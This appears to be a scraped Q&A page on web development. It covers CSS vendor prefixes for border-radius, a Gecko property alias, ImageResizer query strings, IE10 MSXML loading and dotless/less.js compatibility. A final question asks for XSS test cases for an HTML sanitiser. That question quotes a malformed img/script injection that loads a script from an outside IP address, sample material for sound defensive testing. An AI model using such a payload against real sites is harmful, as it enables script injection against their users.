Would it be okay to just use border-radius for webkit browsers? - webkit

In Safari & Webkit, using only border-radius seems to work without adding the prefix -webkit- to it. Is it okay to leave -webkit- prefix for border-radius?

You miss the point of validation. You validate to avoid errors! These include: unsafe browser extensions, hacks, ie-hacks, and actual errors. By no means should you validate to make your code less cross-browser functional.
You should be aware there are such things as expected errors, and even valid code works with those. Browser extensions like -moz-, -webkit-, and -o- are expected errors. All browsers are designed to drop unknown rules. This is how CSS allows for backwards compatibility. A CSS2 supporting browser will drop the CSS3 border-radius rule. Being valid or invalid doesn't have anything to do with it, and by no means will any browser just break because of it (fortunately for us the idea of turning CSS into XML was squashed and never saw the light of day). Opera will drop -moz- rules and Firefox will drop -o- rules, this is not a error. This is expected behavior:
An initial dash or underscore is guaranteed never to be used in a property or keyword by any current or future level of CSS. Thus typical CSS implementations may not recognize such properties and may ignore them according to the rules for handling parsing errors. However, because the initial dash or underscore is part of the grammar, CSS 2.1 implementers should always be able to use a CSS-conforming parser, whether or not they support any vendor-specific extensions.
The w3c even defines how to write these "Vendor-specific extensions". The following are the current extensions well known ones:
-ms-, mso- Microsoft
-moz- Mozilla
-o-, -xv- Opera Software
-webkit- Apple
-khtml- KDE
There are also some you might have never even heard of:
-atsc- Advanced Television Standards Committee
-wap- The WAP Forum
Browsers implement draft-stage or partial implementations (ie. browser supports X, Y but not Z) of CSS rules, as extensions. This way they prevent any change in the spec from breaking previous versions of the browser. There have been cases where browsers have gone gun happy and implemented them as non-extensions, and the usual result has always been said browser has shot themselves in the foot, things like: "browser XXX version YYY has bad implementation of [...]". Most notably IE stands at the no.1 spot on this, but other browsers too have successfully managed to shoot themselves in the foot. When a draft becomes standard and the browser fully (or sufficiently) implements the spec, a rule is created with out the -xxx- prefix.
In recent years, all major browsers have adopted this as a de facto standard.
How and when to use -xxx- browser extensions? As usual the best practice is to design using only standards compliant code in the most advanced browser you have at your disposal then add all the safe extensions. Out of the extensions use the ones based on w3c standards or current working drafts. Don't use dropped standards/drafts or browser wannabe-standards (ie. some of the old Firefox ones). Also avoid any sort of tinkering rules unless it has a stable fallback.
In the case of the border-radius rule you have a stable fallback.
How to keep both form and function? In my opinion most people are not bothered by the "ohmygosh it's not valid" but rather the fact they are forced to write multiple rules for the same line. A simple solution to this is to use a template system. There are quite a few out there for CSS, as the problem of keeping your code DRY is a persistent one.
The are many many many different implementations out there. The basic idea though is to solve the problem using a mixin (ie. function):
=border-radius(!radius)
-moz-border-radius= !radius;
-webkit-border-radius= !radius;
-khtml-border-radius= !radius;
border-radius= !radius;
We can now write this everywhere:
.stuff
+border-radius(15px);
This code is much more flexible then just writing border-radius: 15px and hoping for the best. It's also maintainable (what no element should have more then 10px border radius? no problem).

You may run into css validation errors by doing so. - prefixed properties are regarded as optional extenstions, and thus have a lesser likelihood of causing problems.
I would suggest you keep the -webkit just incase, some browsers (IE) don't play nice when HTML/CSS don't validate. This is known as quirks mode.

border-radius supports safari 5 and later. -webkit-border-radius supports safari 3 and later.
So if you wish to have support for safari 3+ you have to use -webkit-border-radius

Related

Patch Gecko to introduce a synonym for a supported CSS property ("appearance" for "-moz-appearance")

I am working on a firefox fork and would like to duplicate -moz-apperance as appearance. I have tried duplicating it as a shorthand property but this throws errors at the compile stage using ./mach build The documentation seems cryptic.
There's documentation about implementing new CSS properties, which might be hard to follow, but browsers are complex pieces of software.
(Currently this question is too broad to provide an answer that's not link-only.)
update: an actual answer from dbaron (via mozilla.dev.platform):
by adding entries to:
https://mxr.mozilla.org/mozilla-central/source/layout/style/nsCSSPropAliasList.h

imageresizer outputs image paths with query strings, Pingdom Tools suggest "Remove query strings from static resources" -- how?

Can image resizer output image paths that don't contain query strings? Could not find this anywhere in documentation or googling it.
This page (http://imageresizing.net/docs/extend/extending) says that custom plugins can "Perform URL rewriting or query string expansion by registering an event handler."
Is there such a plugin, ready to be used? If so, anyone have a link?
FolderResizeSyntax is one such plugin (which simply adds and event handler to Config.Current.Pipeline.Rewrite), but you probably shouldn't use it.
Ask yourself: Why does pingdom say to remove query strings? Does it even make sense? Is there any logic behind the rule?
Query strings are often added to static resources as cache breakers and for development purposes; often they're forgotten and make it into production.
In the case of ImageResizer, they're an essential, meaningful part of the URL. Rewriting consistent name/value pairs (the querystring) into a custom URL syntax might be trendy and hip, but it adds brittleness and complexity for no actual added value.
If you have a real-world, known issues with querystrings, try the CloudFront plugin. It lets you express querystrings as image.jpg;width=100;height=100 instead of image.jpg?width=100&height=100. You still lose compatibility with all kinds of RIAPI-compliant front-end and back-end tooling, so make sure this is a real, not theoretical, issue.

IE10: msxml.load(document.all("UserInfo") is throwing an error

I have a XML String with in the <xml> tags in a .jsp file and I am trying to load that xml using xmldoc.Load(document.all("Info")) and it is giving an error
Invalid procedure call or argument
but everything works in Ie9. When I inspect the document.all("Info") it says
Object UnknownHTMLElement in IE 10 and Object in IE9.
here is the code snippet which I used
var xmldoc=new ActiveXObject("MSXML2.DOMDocument.3.0");
boolXMLLoaded=xmldoc.load (document.all("UserInfo"))
<xml id=UserInfo>`
<?xml version='1.0'?><RESPONSES UserName=" DOUGLAS ................
</xml>
Any help is greatly appreciated..
The reason your code doesn't work in newer IE versions is because you're using obsolete (very very obsolete) code. You need to update to modern web standards if you expect modern browsers (including IE10) to work.
Two issues are obvious immediately:
document.all has been deprecated for years; you shouldn't be using it -- it is non-standard and only still exists to allow backward-compatibility with ancient versions of IE (eg IE5). Modern IE versions won't like it, and it definitely doesn't work on browsers other an IE.
In most cases, if you're trying to reference an element by ID (as in this case), you should use document.getElementById() instead.
Further info from Mozilla Developer Network.
new ActiveXObject("MSXML2.DOMDocument.3.0") is also non-standard and deprecated, and also shouldn't be used in modern browsers. Again, it is IE-specific, and was replaced from IE7 onward with the web standards alternative.
You should replace it with document.implementation.createHTMLDocument();. See also the anwsers here.
If you need to support IE6 or earlier then you can detect whether the browser supports the standard syntax and provide a fall back to the old ActiveX control only for old IE versions.
Given that the tiny bit of code you've shown us is using two obvious and well known features that are so badly out-of-date, I would expect to see more problems of a similar nature if we were to see more of your code. Because of this, I would recommend posting some of your code on SO's sister site https://codereview.stackexchange.com/ to get some additional feedback on how you can improve it.
Hope that helps.
var xmldoc= new ActiveXObject("Microsoft.XMLDOM");
replace this in place of
var xmldoc=new ActiveXObject("MSXML2.DOMDocument.3.0");
and try it again

Is dotless the same exact syntax as the less css language?

The .less library calls itself a port of ruby LESS library. Can I take away from that that they both are compilers for the same LESS file format or do they expect subtly different less code? Asked another way, am I locking myself in to the dotless library or can use dotless and the less javascript lib on the less files?
Dotlesscss is a straight (almost 1:1 port) of the JavaScript project less.js (a JavaScript implementation of LessCSS by Cloudhead the original author of LessCss for Ruby)
In 99% of the cases the same code that runs on dotlesscss will run on less.js and vice versa. If something works on less.js and doesn't on dotlesscss we consider that a bug and try to fix it if possible.
There are very subtle differences though as it is very hard to keep three different projects 100% synced up.
For one that would be different function names.
Examples would be the color manipulation functions that we implemented before the LessCss project, as we named these after their SASS equivalents..
But in general: the language though is 100% compatible.
You are not limiting yourself to one language. You should be able to move between different implementations fairly easily.
Also dotless runs on Mono so you are not locked to a specific OS either.
If you encounter any problems feel free to raise an Issue on our GitHub Page or through the Mailing List
They're supposed to be equivalent implemnentations however there is a hudge difference between
the server side implementations (ruby, .net, php ...)
the client side javascript implementation
The big difference is that with the client side implementation, you'll be able to use all the dom of the browser in your less files and this would never work with server side implementations :
#height: `document.body.clientHeight`;
More over, in the current version of dotless (1.2.4.0), javascript evaluation is not implemented and is rendered as [script unsupported] in the css output.

XSS Torture Test - does it exist?

I'm looking to write a html sanitiser, and obviously to test/prove that it works properly, I need a set of XSS examples to pitch against it to see how it performs. Here's a nice example from Coding Horror
<img src=""http://www.a.com/a.jpg<script type=text/javascript
src="http://1.2.3.4:81/xss.js">" /><<img
src=""http://www.a.com/a.jpg</script>"
I know there's a Mime Torture Test which comprises of several nested emails with attachments that's used to test Mime decoders (if they can decode it properly, then they've been proven to work). I'm basically looking for an equivilent for XSS, i.e. a list of examples of dodgy html that I can throw at my sanitiser just to make sure it works OK.
If anyone also has any good resources on how to write the sanitiser (i.e. what common exploits people try to use, etc) they'd be gratefully received too.
Thanks in advance :-)
Edit: Sorry if this wasn't clear before, but I was after a set of torture tests so I can write unit tests for the sanitiser, not test it in the browser, etc. The source data in theory may have come from anywhere - not just a browser.
Take a look at this XSS Cheat List : https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
XSS Me is a great Firefox plugin you can run against your sanitizer.
Check out OWASP. They have good guidance on how XSS works, what to look for, and even the WebGoat project, where you can try your hand on a vulnerable site.
You might try Jesse Ruderman's jsfunfuzz (http://www.squarefree.com/2007/08/02/introducing-jsfunfuzz/) that throws random data at your Javascript trying to break it. It seems the Firefox team has used this with great success.